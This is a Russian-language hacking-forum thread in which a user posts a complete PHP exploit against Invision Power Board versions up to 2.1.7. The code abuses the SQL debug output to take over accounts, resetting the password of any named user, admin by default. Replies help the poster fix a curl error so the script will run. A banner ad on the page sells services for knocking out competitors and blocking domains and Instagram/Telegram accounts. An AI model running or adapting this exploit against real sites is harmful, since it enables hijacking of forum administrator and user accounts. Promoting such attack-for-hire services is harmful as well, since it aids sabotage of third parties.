Форум АНТИЧАТ - Invision Power Board <= 2.1.7 (Debug) Remote Password Change Exploit

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Invision Power Board <= 2.1.7 (Debug) Remote Password Change Exploit

Опции темы

Поиск в этой теме

Опции просмотра

Invision Power Board <= 2.1.7 (Debug) Remote Password Change Exploit

20.11.2006, 00:53

nightmare007

Новичок

Регистрация: 28.10.2006

Сообщений: 23

Провел на форуме:
125281

Репутация: 1

Invision Power Board <= 2.1.7 (Debug) Remote Password Change Exploit

Так....

PHP код:


		
			
<?php

/*



 Debug Mode password change vulnerability

 Affects Invision Power Borard 2.0.0 to 2.1.7

 by Rapigator

 

 This works if:



 "Debug Level" is set to 3

 or

 Enable SQL Debug Mode is turned on

 

 In General Configuration of the forum software.



*/



// The forum's address up to and including 'index.php'

$site = "http://localhost/forums/index.php";



// An existing user's login name

$name = "admin";



// The new password(3-32 characters)

$pass = "1234";



// You can use a proxy...

// $proxy = "1.2.3.4:8080";







// -----------------------------

$site .= "?";

$suffix = "";

$name = urlencode($name);

$pass = urlencode($pass);

$curl = curl_init($site.'act=Reg&CODE=10');

curl_setopt($curl, CURLOPT_PROXY, $proxy);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($curl, CURLOPT_TIMEOUT, 10);

$page = curl_exec($curl);

curl_close($curl);

if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {

    $prefix = $regs[1];

    $regid = $regs[2];

    $regcode = $regs[3];

} else {

    $suffix = "&debug=1";

    $curl = curl_init($site.'act=Reg&CODE=10'.$suffix);

    curl_setopt($curl, CURLOPT_PROXY, $proxy);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($curl, CURLOPT_TIMEOUT, 10);

    $page = curl_exec($curl);

    curl_close($curl);

    if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {

        $prefix = $regs[1];

        $regid = $regs[2];

        $regcode = $regs[3];

    }

}

if (!isset($regid) || !isset($regcode)) {

    echo "Error: Probably not vulnerable, or no forum found";

    exit;

}



$curl = curl_init($site.$suffix);

curl_setopt($curl, CURLOPT_PROXY, $proxy);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($curl, CURLOPT_POST, 1);

curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");

curl_setopt($curl, CURLOPT_TIMEOUT, 10);

$page = curl_exec($curl);

curl_close($curl);

if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {

    change_pass($regcode,$regid,$regs[1],$regs[2]);

}

if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {

    change_pass($regcode,$regid,$regs[1],$regs[2]);

}



function change_pass($regcode,$regid,$vid,$userid) {

    global $site, $proxy, $name, $pass;

    $curl = curl_init($site.$suffix);

    curl_setopt($curl, CURLOPT_PROXY, $proxy);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($curl, CURLOPT_POST, 1);

    curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");

    curl_setopt($curl, CURLOPT_TIMEOUT, 10);

    $page = curl_exec($curl);

    curl_close($curl);

    echo "Password Changed!";

    exit;

}

?>



# milw0rm.com [2006-11-01]

Пробывал запустить это чудо но написало

Цитата:

Fatal error: Call to undefined function curl_init() in C:\ipb217.php on line 37

чё там не так в 37 строке подскожите чё исправить

20.11.2006, 02:08

}{0TT@БЬ)Ч

Постоянный

Регистрация: 20.01.2006

Сообщений: 302

Провел на форуме:
3536885

Репутация: 447

Это уже вроде здесь разжовывали НЕ ЗАБЫВАЙ юзать поиск http://forum.antichat.ru/thread26349.html

Последний раз редактировалось }{0TT@БЬ)Ч; 20.11.2006 в 02:21..

20.11.2006, 08:32

_Great_

Флудер

Регистрация: 27.12.2005

Сообщений: 2,372

Провел на форуме:
5339610

Репутация: 4360

Отправить сообщение для _Great_ с помощью ICQ

Нет модуля Curl для Php.
Правь все на сокеты.

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Invision Power Board Dragoran Portal Mod <= 1.3 SQL Injection Exploit	Rebz	Форумы	10	04.05.2009 15:49
Качаем с рапиды и меги нахаляву	gemaglabin	Болталка	38	07.12.2006 03:04
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection	splitefire	Форумы	4	18.10.2006 14:38

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход